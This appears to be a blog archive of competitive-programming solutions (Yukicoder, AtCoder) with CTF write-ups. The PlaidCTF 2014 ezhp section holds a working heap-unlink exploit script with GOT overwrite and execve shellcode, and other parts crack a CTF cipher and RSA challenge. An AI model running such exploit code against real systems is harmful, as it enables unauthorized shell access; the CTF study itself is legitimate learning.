Yukicoder No.243 出席番号(2)

,

http://yukicoder.me/problems/no/243

解けず。解説を見た。包除原理は苦手らしい。

包除原理+DP。 この問題の何が難しいかというと、割り振る出席番号$j$か生徒ごとの嫌いな数$A_i$かのどちらかで順に処理していきたいが、そのような良い方法が見つからない、両方をDPの引数にして$\mathrm{dp} : N \times N \to \mathbb{N}$などができない。 なので、だめな割り振り方に着目し、包除原理でななめに潰して$\mathrm{dp} : |A| \to \mathbb{N}$にしている。

#include <iostream>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define repeat_reverse(i,n) for (int i = (n)-1; (i) >= 0; --(i))
typedef long long ll;
using namespace std;
const int mod = 1e9+7;
int main() {
    // input
    int n; cin >> n;
    vector<int> a(n); repeat (i,n) cin >> a[i];
    // prepare
    vector<ll> fact(n+1);
    fact[0] = 1;
    repeat (i,n) fact[i+1] = fact[i] * (i+1) % mod;
    // compute
    vector<int> cnt(n);
    repeat (i,n) {
        if (a[i] < n) {
            cnt[a[i]] += 1;
        }
    }
    vector<ll> dp(n+1);
    dp[0] = 1;
    repeat (i,n) if (cnt[i]) {
        repeat_reverse (k,n) {
            dp[k+1] += dp[k] * cnt[i] % mod;
            dp[k+1] %= mod;
        }
    }
    ll ans = fact[n];
    repeat (k,n) {
        ans += dp[k+1] * fact[n-(k+1)] % mod * ((k+1) % 2 == 1 ? -1 : 1) % mod;
        ans %= mod;
    }
    ans += mod;
    ans %= mod;
    // output
    cout << ans << endl;
    return 0;
}

Yukicoder No.242 ビンゴゲーム

,

http://yukicoder.me/problems/no/242

期待値の線形性。今回の$12$本の列は全て独立であるかのように扱え、$e = 12 \cdot \frac{n}{99} \cdot \frac{n-1}{98} \cdot \frac{n-2}{97} \cdot \frac{n-3}{96} \cdot \frac{n-4}{95}$が答え。

#include <cstdio>
using namespace std;
int main() {
    int n; scanf("%d", &n);
    double e = n/99. * (n-1)/98. * (n-2)/97. * (n-3)/96. * (n-4)/95.;
    printf("%.8lf\n", e * 12);
    return 0;
}

Yukicoder No.241 出席番号(1)

,

http://yukicoder.me/problems/no/241

乱択。 解となる列はおおよそ$(\frac{n-1}{n})^n \approx 0.36$ぐらいの確率で存在していると考えてよく、これは十分に高い。 不一致なものを適当にswapすることを繰り返すと、さらに効率がよい。

#include <iostream>
#include <vector>
#include <algorithm>
#include <set>
#include <random>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    int n; cin >> n;
    vector<int> a(n); repeat (i,n) cin >> a[i];
    if (whole(count, a, a[0]) == n and 0 <= a[0] and a[0] < n) {
        cout << -1 << endl; // all a_i is the same
    } else {
        vector<int> b(n); whole(iota, b, 0);
        set<int> c; repeat (i,n) if (a[i] == b[i]) c.insert(i);
        default_random_engine gen((random_device())());
        uniform_int_distribution<int> dist(0, n-1);
        while (not c.empty()) {
            int i = *c.begin();
            int j = i; while (j == i) j = dist(gen);
            swap(b[i], b[j]);
            c.erase(i);
            c.erase(j);
            if (a[i] == b[i]) c.insert(i);
            if (a[j] == b[j]) c.insert(j);
        }
        for (int it : b) cout << it << endl;
    }
    return 0;
}

Yukicoder No.240 ナイト散歩

,

http://yukicoder.me/problems/no/240

高々$8^3$個程度の点にしか移動しないので全列挙でよい。

なんとなくyieldを植えてみたが特に利点はなかった。

#!/usr/bin/env python3
def move(x, y):
    for dx, dy in [(-2,-1),(-2,+1),(-1,-2),(-1,+2),(+1,-2),(+1,+2),(+2,-1),(+2,+1)]:
        yield (x + dx, y + dy)
x, y = map(int,input().split())
ps = [(0,0)]
ans = False
for _ in range(3):
    qs = []
    for p in ps:
        qs += list(move(*p))
    ps = qs
    if (x, y) in ps:
        ans = True
print('YES' if ans else 'NO')

Yukicoder No.239 にゃんぱすー

,

http://yukicoder.me/problems/no/239

縦に一列のにゃんぱすを見つける問題。

後輩さんがc++で書いて初期化忘れでWAを生やしてた。適切にcompilerを叩いて警告してもらおうな。 あとpythonのtransposeテクlist(map(lambda *xs: xs, *ys))は便利。

#!/usr/bin/env python3
n = int(input())
f = []
for i in range(n):
    f += [input().split()]
f = list(map(lambda *xs: xs, *f)) # transpose
ans = []
for i in range(n):
    if f[i].count('nyanpass') == n-1:
        ans += [i]
if len(ans) == 1:
    print(ans[0] + 1)
else:
    print(-1)

Yukicoder No.137 貯金箱の焦り

,

http://yukicoder.me/problems/no/137

解けず。解説を見れば分かるけど自力で思い付けた気がしない。 情報量を増やし強い仮定を得て、無駄な枝を根本で刈っている。

各硬貨の使用枚数を$2$進数表記して(並列)桁DPにする。 下の桁から決定していけば、使用枚数の$i$桁目を決定した時点で、その枝での合計金額の$i$桁目が固定されるのが重要。合計が$M$になりえない状態が毎回半分言えるので、毎回半分まで枝刈りができる。 硬貨の枚数$N$と額面$A_i$および使用枚数の桁数$\log M$に対し、$O(N(\Sigma_i A_i)\log N)$。

#include <iostream>
#include <vector>
#include <algorithm>
#include <numeric>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define repeat_reverse(i,n) for (int i = (n)-1; (i) >= 0; --(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
typedef long long ll;
using namespace std;
const int mod = 1234567891;
int main() {
    int n; ll m; cin >> n >> m;
    vector<int> a(n); repeat (i,n) cin >> a[i];
    vector<ll> dp { 1, 1 };
    m *= 2;
    while (true) {
        for (int i = m % 2; i < dp.size(); i += 2) {
            dp[i/2] = dp[i];
        }
        m /= 2;
        if (m == 0) break;
        dp.resize(dp.size() / 2);
        dp.resize(dp.size() + whole(accumulate, a, 0) + 1);
        repeat (i,n) {
            repeat_reverse (j, dp.size() - a[i]) {
                dp[j + a[i]] += dp[j];
                dp[j + a[i]] %= mod;
            }
        }
    }
    cout << dp[0] << endl;
    return 0;
}

Yukicoder No.136 Yet Another GCD Problem

,

http://yukicoder.me/problems/no/136

$\Sigma_i A_i = n$であるので答え$d = \mathrm{gcd}(A)$は$n$を割り切る$d \mid n$必要がある。 $l = |A|$に対し$2 \le l \le k$である必要がある。 これ以外に特に制約はなく、$d = \max \{ d \mid (d \mid n) \land \exists l. (2 \le l \le k \land dl \le n) \}$。 $\exists$は消去できて、$k$に依らず$d = \max \{ d \mid (d \mid n) \land 2d \le n) \}$でよい。

#!/usr/bin/env python3
n, k = map(int,input().split())
for d in range(n, 1-1, -1):
    if n % d == 0 and d * 2 <= n:
        print(d)
        break


BioTerra CTF 2016: Schinken

,

The service encrypts a string with a password, into a pdf file (or the tex). You can notice that the letters of Lerem-ipsum have different fonts.

Actually, this fonts contain bits about the xor-value of the plaintext and the password. You can find this by trying pairs like: password is AAAA and text is AAAA, or password is AAA and text is ABCD. Especially, the only letters ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_ are allowed, and the integers to xor is the indices in the letters (not ascii-code).

To decrypt it, pdf2ps helped me.

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(dest='command')
subparser = subparsers.add_parser('query')
subparser.add_argument('--name',     required=True)
subparser.add_argument('--address',  required=True)
subparser.add_argument('--text',     required=True)
subparser.add_argument('--password', required=True)
subparser.add_argument('--do',       required=True, choices=[ 'letter', 'source' ])
subparser = subparsers.add_parser('crack')
subparser.add_argument('file')
subparser.add_argument('--key', default='Geheim')
parser.add_argument('--host', default='pwn.bioterra.xyz')
parser.add_argument('--port', default=6969, type=int)
args = parser.parse_args()
context.log_level = 'debug'

def query(name, address, text, password, do):
    import base64
    p = remote(args.host, args.port)
    p.recvuntil('Enter your name:')
    p.sendline(name)
    p.recvuntil('Enter your address:')
    p.sendline(address)
    p.recvuntil('Enter your text to encrypt:')
    p.sendline(text)
    p.recvuntil('Enter a password:')
    p.sendline(password)
    p.recvuntil('Choice:')
    p.sendline(do[0])
    p.recvuntil('-----BEGIN MESSAGE----')
    s = p.recvuntil('-----END MESSAGE-----')
    s = base64.b64decode(s)
    p.recvall()
    p.close()
    return s

def crack(pdfstr):
    import re
    import subprocess
    p = subprocess.Popen(['pdf2ps', '-', '-'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    psstr, _ = p.communicate(pdfstr)

    msg = ''
    bit = []
    state = None
    for line in psstr.split('\n'):
        if re.search(r'/R6 \S+ Tf', line):
            state = 0
        if re.search(r'/R12 \S+ Tf', line):
            state = 1
        for s in re.findall(r'\(([^)]+)\)', line):
            for c in s.strip('()'):
                msg += c
                bit += [state]
    i = msg.index('Lorem')
    j = msg.index('Mitfreundlichen')
    msg = msg[i : j]
    bit = bit[i : j]
    log.info('msg: %s', repr(msg))
    log.info('bit: %s', repr(bit))
    log.info('len: %d', len(bit))
    assert len(bit) % 5 == 0

    return bit

if args.command == 'query':
    s = query(args.name, args.address, args.text, args.password, args.do)

    if args.do == 'letter':
        import tempfile
        import subprocess
        import time
        with tempfile.NamedTemporaryFile(suffix='.pdf') as fh:
            fh.write(s)
            fh.flush()
            subprocess.call(['xdg-open', fh.name])
            time.sleep(2)

    elif args.do == 'source':
        import itertools
        import re
        log.info(s)
        for line in s.split('\n'):
            if len(re.findall(r'\\fontfamily', line)) > 3:
                for i in itertools.count():
                    m = re.search(r'^\\fontfamily{(\w\w\w)}\\selectfont (\S) ?', line)
                    if not m:
                        break
                    log.info('%d %s: %d', i, m.group(2), { 'ppl': 0, 'phv': 1 }[m.group(1)])
                    if i % 5 == 4:
                        log.info('')
                    line = line[m.end(): ]

elif args.command == 'crack':
    alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'
    with open(args.file) as fh:
        s = crack(fh.read())
    flag = ''
    for i in range(len(s) // 5):
        a = int(''.join(map(str, s[i*5 : i*5+5])), 2)
        b = alphabet.index(args.key[i % len(args.key)].upper())
        c = alphabet[a ^ b]
        flag += c
    log.info(flag)

AtCoder Grand Contest 003 D - Anticube

,

http://agc003.contest.atcoder.jp/tasks/agc003_d

素因数分解の指数を$3$で割るぐらいは気付いていたが、正規化は思い付かず。

solution

editorial: http://agc003.contest.atcoder.jp/data/agc/003/editorial.pdf

立方数で割って正規化する。 整数$a \in \mathbb{N}$に対し$\mathrm{norm}(a) = \min \{ b \mid \exists c. bc^3 = a \} \in \mathbb{N}$とする。 立方数かどうかに関して、各$s_i$を$\mathrm{norm}(s_i)$で置き換えて問題ない。

その対になる数も同様に正規化することができ、一意になる。 つまり、$\mathrm{pair}(a) = \min \{ b \mid \exists c. ab = c^3 \} \in \mathbb{N}$である。 $\mathrm{pair}(a) = \mathrm{norm}(a^2)$として計算できる。

入力を正規化してまとめておけば、整数$a = \mathrm{norm}(a)$と衝突しうる数は$\mathrm{pair}(a)$のみであり、その個数の多い方を採用すればよいことになる。ただし、$1 = \mathrm{pair}(1)$であるので、これは特別に処理する必要がある。

implementation

overflowを回避する部分が面倒だったのでboostさんにお願いした。

#include <cstdio>
#include <vector>
#include <cmath>
#include <algorithm>
#include <map>
#include <set>
#include <tuple>
#include <cassert>
#include <boost/multiprecision/cpp_int.hpp>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
typedef long long ll;
typedef boost::multiprecision::cpp_int integer;
using namespace std;

vector<int> sieve_of_eratosthenes(int n) { // enumerate primes in [2,n] with O(n log log n)
    vector<bool> is_prime(n+1, true);
    is_prime[0] = is_prime[1] = false;
    for (int i = 2; i*i <= n; ++i)
        if (is_prime[i])
            for (int k = i+i; k <= n; k += i)
                is_prime[k] = false;
    vector<int> primes;
    for (int i = 2; i <= n; ++i)
        if (is_prime[i])
            primes.push_back(i);
    return primes;
}
integer sq(integer x) { return x*x; }
integer cubed(integer x) { return x*x*x; }
integer norm(integer s, vector<int> const & primes) {
    for (int p : primes) {
        if (s < p) break;
        while (s % cubed(p) == 0) {
            s /= cubed(p);
        }
    }
    assert (s >= 1);
    return s;
}
integer inv(integer s, vector<int> const & primes) {
    integer t = 1;
    for (int p : primes) {
        if (s % p == 0) {
            if (s % sq(p) == 0) {
                t *= p;
                s /= sq(p);
            } else {
                t *= sq(p);
                s /= p;
            }
        }
    }
    if (s != 1) {
        integer r = sqrt(s);
        if (s == r * r) {
            t *= r;
        } else {
            t *= s * s;
        }
    }
    assert (t >= 1);
    return t;
}

int main() {
    // input
    int n; scanf("%d", &n);
    vector<ll> s(n); repeat (i,n) scanf("%lld", &s[i]);
    // compute
    vector<int> primes = sieve_of_eratosthenes(pow(*whole(max_element, s), 1/3.) + 3);
    map<integer, int> f;
    repeat (i,n) {
        integer x = norm(s[i], primes);
        f[x] += 1;
    }
    int ans = 0;
    set<integer> used;
    for (auto it : f) {
        integer x; int cnt; tie(x, cnt) = it;
        if (used.count(x)) continue;
        integer y = inv(x, primes);
        if (f.count(y)) {
            used.insert(y);
            ans += max(cnt, f[y]);
        } else {
            ans += cnt;
        }
    }
    if (f.count(1)) {
        ans -= f[1];
        ans += 1;
    }
    // output
    printf("%d\n", ans);
    return 0;
}

AtCoder Grand Contest 003 C - BBuBBBlesort!

,

http://agc003.contest.atcoder.jp/tasks/agc003_c

solution

元の列の偶数番目の数を集めてきたものと、整列後の列の偶数番目の数を集めてきたものを見比べる。$O(N \log N)$。

ひとつ飛ばしての交換は自由にできる。隣接するものの交換の回数を最小化したい。 列の偶数番目の数同士、奇数番目の数同士は自由に交換でき、その間で整列もできるので、偶数奇数が変化しないといけない数の数が答えである。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#include <unordered_set>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    int n; scanf("%d", &n);
    vector<int> a(n); repeat (i,n) scanf("%d", &a[i]);
    unordered_set<int> x;
    for (int i = 0; i < n; i += 2) x.insert(a[i]);
    whole(sort, a);
    int ans = 0;
    for (int i = 1; i < n; i += 2) ans += x.count(a[i]);
    printf("%d\n", ans);
    return 0;
}

AtCoder Grand Contest 003 B - Simplified mahjong

,

http://agc003.contest.atcoder.jp/tasks/agc003_b

solution

貪欲。$O(N)$。

差を見るので、整列して順に見ていけばよいのはすぐに分かる。 $A_{i-1} = 0$と見なせるとき$i$に着目して、組$(i, i)$と組$(i, i+1)$のどちらをどれだけ作るべきかを考える。消費枚数が同じなのと、カード$i$はこれ以外に使い道がないことから、組$(i, i)$を可能な限り作るのがよい。カード$i+1$のことを考えると、カード$i$が余ったならとりあえず組$(i, i+1)$を作るのがよい。この貪欲で答えが求まる。

implementation

#include <cstdio>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
typedef long long ll;
using namespace std;
int main() {
    int n; scanf("%d", &n);
    vector<int> a(n); repeat (i,n) scanf("%d", &a[i]);
    ll ans = 0;
    repeat (i,n) {
        ans += a[i] / 2;
        a[i] %= 2;
        if (i+1 < n) {
            int d = min(a[i], a[i+1]);
            a[i  ] -= d;
            a[i+1] -= d;
            ans    += d;
        }
    }
    printf("%lld\n", ans);
    return 0;
}

AtCoder Grand Contest 003 A - Wanna go back home

,

http://agc003.contest.atcoder.jp/tasks/agc003_a

提出時に貼り付けをミスして$1$WA。ペナルティが効いてくる回だったので悲しい。

solution

必ず正の距離動く。なので、NSのちょうど一方のみ含む、EWのちょうど一方のみ含む、という場合はNoで、そうでない場合はYes

implementation

#!/bin/sed -f
/N/ { /S/ ! b no }
/W/ { /E/ ! b no }
/S/ { /N/ ! b no }
/E/ { /W/ ! b no }
s/.*/Yes/
N
: no
s/.*/No/

HackCon 2016

,

StartedFromTheBottom

Reversing. Read the binary and summarize it, like below:

bool is_valid(char *s) {
    int l = strlen(s);
    uint32_t sum = 0xdeadbeef;
    for (int i = 0; i < l; ++ i) {
        sum = sum * 8 + arg[i];
    }
    return sum == 0xcafebabe;
}
main() {
    fgets(buf, 0x20, stdin);
    if (is_valid(buf)) {
        puts(getenv("flag"));
    }
}

It seems there are many keys. The probability thet a string is a key is $\frac{1}{256^4}$, and you can adjust the lowest byte, it becomes $\frac{1}{256^3}$. This is not small. You can find a key in bruteforce.

#include <iostream>
#include <random>
#include <cctype>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
using namespace std;
int check(string const & s) {
    uint32_t acc = 0xdeadbeaf;
    for (char c : s) acc = 8 * acc + c;
    uint32_t diff = 0xcafebabe - acc * 8;
    return diff < 0x100 and isprint(diff) ? diff : -1;
}
int main() {
    random_device dev;
    default_random_engine gen(dev());
    uniform_int_distribution<char> dist(' ', '~');
    string s(8, 'A');
    char c;
    while ((c = check(s)) == -1) {
        repeat (i, s.length()) s[i] = dist(gen);
    }
    cout << s << c << endl;
    return 0;
}

Help a n00b pliz

I didn’t know the OAEP, and @elliptic_shiho solved this in the contest.

RSA cipher is used, especially RSA-OAEP. Optimal Asymmetric Encryption Padding is the way to enforce a cipher. In short, the OAEP is a method something like: hashing plaintexts as a preprocessing must makes more secure.

The magic number is a $\phi = (p-1)(q-1)$. You can factrize $n$ with $\phi$ or the http://factordb.com.

#!/usr/bin/env python3

# Hi d0rkf0rce, I was trying to setup an RSA key myself ... N was set as
n = 27554341234325806742716465451216524672595447919304850637064219542729814328202676387561154175188204624894575424004190815736798277306646200007362824444984235900887686209887989471971837946286068039230967669298101493802987250668663968489404427616923945008553706682588440402642022107160279111970813001769125144160981955619256311678497842429348810714179895140353432460873680236125023285896278220224124173530157559877857583541236440550085510341350034262384944452679681733672970090393853456354728769750083127095029970793577304343958201598759646018974544024756484677430899865099392181088697032441561919756953472132635695403211
# and that magic number which can break it came out to be ...
phi = 27554341234325806742716465451216524672595447919304850637064219542729814328202676387561154175188204624894575424004190815736798277306646200007362824444984235900887686209887989471971837946286068039230967669298101493802987250668663968489404427616923945008553706682588440402642022107160279111970813001769125144160649662636192928261867108590131276295929989585771388664720943886754178869727304443592926168057522047410408181007091120781163369427915904419044794979089883778336162732163392739875336241046379767357138445037327970884254772442780284997536523900583433572282329882781376592459074913474533189565337636356492031748024
# ... Also, I encrypted a message for you:
c = 'tIya15MocbH7uxz5bz5YasIpsA8nmS+Pf41BGX2/0ioiVlLd4tRE64tboZTI0v71AWAOR5zFe7YZzc0ozSGfxBxz1UI8GitKB4JG/T1Rka0dd5gVcykXfCoUYL3uY2BxhUvytwIArXR7k4wL/fYGgu+EVeox+jvrXnkU9lc8up7s+Nr8uDr8vRxUoXKd26koJsHKFpviYNwcVjELQ6Sg6OWMuYt2wmNTfRnT2cr8lwC5dA17XoLd+f4QiF1jzJanFf+lwt4m8BW5nPfRxj5o1c3eIHO6Bz5bDYdrZeDm/s0T1SLiAU+FtjdkIYIDmBjy9QiOMgVxhKIJ2jmKDdDQ3w=='
# Let me know what you think of it! :smile:

# http://factordb.com
p = 159053155647589095148947543295873413331969384358826648953575771772292317883243422225178156162113177556876276367300742320171774708479750804793074866242471423887880626766079346938943706113589656802709292132508273728900217427551165409402265501628106343343389606578627784493206655923326362583938392325331040784069
q = n // p
assert p * q == n
assert (p-1)*(q-1) == phi

e = 0x10001

import gmpy2
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
import binascii
d = lambda p, q, e: int(gmpy2.invert(e, (p-1)*(q-1)))
key = RSA.construct((n, e, d(p,q,e)))
key = PKCS1_OAEP.new(key)
print(key.decrypt(base64.b64decode(c)).decode())

In Rainbows

Stegano Do flood-fill and read the instructions. They are plain, but hard to read optically.

++++++++[>++++>++++++>++++++++>++++++++++>++++
++++++++<<<<<-]>
>>>>++++++++++++++++++++.---------------
.<++++++++.>+++++++++++++++.<+++++++.----------.<+++.-
-.>-------.++++++.+++++++++++.>--.<<<+++.+.>>+++++.-----
.>---------.++++++++++.<<<.>>.+++.>-.<-.++++++++.>----.<---
.<<<++++++++++..>>>>---.
[>]<[[-]>]

PlaidCTF 2014 ezhp

,

https://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/ezhp

heap問のrevは疲れる。 キャンプの夜の短い自由時間に挑んだのだが、それで解くのは私には厳しかったので後から時間で殴った。

solution

heap上の単なる文字列として表現されるノートを作成/修正/削除/表示できるプログラム。 簡易な独自実装heapを持ち、heap上buffer overflowの脆弱性がある。 ノートの修正でbuffer overflowさせ、ノートの削除でheap unlink attackして適当にどこかを書き換え、GOT overwriteなりでshellcodeを踏めばよい。

strippedなのでrevする。 問題となるのは0x8048708 <myfree>だけであるので、0x804858b <myalloc>の側はあまり読まなくてよい。 簡易な実装ではあるが双方向連結listの操作は通常通りであり、

    if (bk) bk->fd = fd;
    if (fd) fd->bk = bk;

は(chunkの大きさによらず)行われているので、これを用いて適当な領域への書き込みを行う。 global変数として存在するノートの配列char *g_notes[]あたりを書き換えてしまえば、あとはノートの修正部分で楽にshellが取れる。RELROもNX bitもない。

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
context.log_level = 'debug'

g_notes  = 0x804a060 # char *g_notes[]
puts_got = 0x804a008

# http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'

p = process('./ezhp')

def add_note(size):
    p.recvuntil('Please choose an option.')
    p.sendline('1') # add a note
    p.recvuntil('Please give me a size.')
    p.sendline(str(size))

def remove_note(id):
    p.recvuntil('Please choose an option.')
    p.sendline('2') # remove a note
    p.recvuntil('Please give me an id.')
    p.sendline(str(id))

def change_note(id, data):
    p.recvuntil('Please choose an option.')
    p.sendline('3') # change a note
    p.recvuntil('Please give me an id.')
    p.sendline(str(id))
    p.recvuntil('Please give me a size.')
    p.sendline(str(len(data)))
    p.recvuntil('Please input your data.')
    p.send(data)

# make notes
add_note(11) # 0
add_note(11) # 1
add_note(11) # 2

# send payload to heap
payload = ''
payload += 'AAAA' # heap + 0x18
payload += 'AAAA'
payload += 'AAA\0'
payload += p32(0x19)
payload += p32(0xaaaaaaaa) # p32(heap + 0x3c)
payload += p32(0xbbbbbbbb) # p32(heap + 0x0c)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0x19)
payload += p32(g_notes) # p32(heap + 0x54)
payload += p32(g_notes - 4) # p32(heap + 0x24)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0x3b8)
payload += p32(0)
payload += p32(0xcccccccc) # p32(heap + 0x3c)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0)
change_note(0, payload)

# write &g_notes[0] into g_notes[0]
remove_note(2)

# rewrite g_notes entries
payload = ''
payload += p32(g_notes)
payload += p32(puts_got)
payload += shellcode
change_note(0, payload)

# jump to the shellcode
change_note(1, p32(g_notes + 8))

time.sleep(1)
p.sendline('id')
p.interactive()

Yukicoder No.206 数の積集合を求めるクエリ

,

http://yukicoder.me/problems/no/206

解けず。bitsetは未だに思い付けない。 bitsetの高速化はよく分からないのだけど、$k = 64$倍速いと思えばよいのかな。

solution

bitsetによる定数倍高速化。bit数$k$に対し$O(NQ/k)$。$k = 64$ [要出典]。

長さ$N$の大きなbitsetで、$A$と$B$を表すものをそれぞれ用意する。 これを$i$-bit shiftしたもののbit積のpopcountを$0 \le i \lt Q$に関して出力すればよい。

implementation

#include <iostream>
#include <bitset>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
using namespace std;
const int MAX_N = 100000;
int main() {
    int l, m, n; cin >> l >> m >> n;
    bitset<MAX_N> a; repeat (i,l) { int j; cin >> j; a[j-1] = true; }
    bitset<MAX_N> b; repeat (i,m) { int j; cin >> j; b[j-1] = true; }
    int q; cin >> q;
    repeat (i,q) cout << (a & (b << i)).count() << endl;
    return 0;
}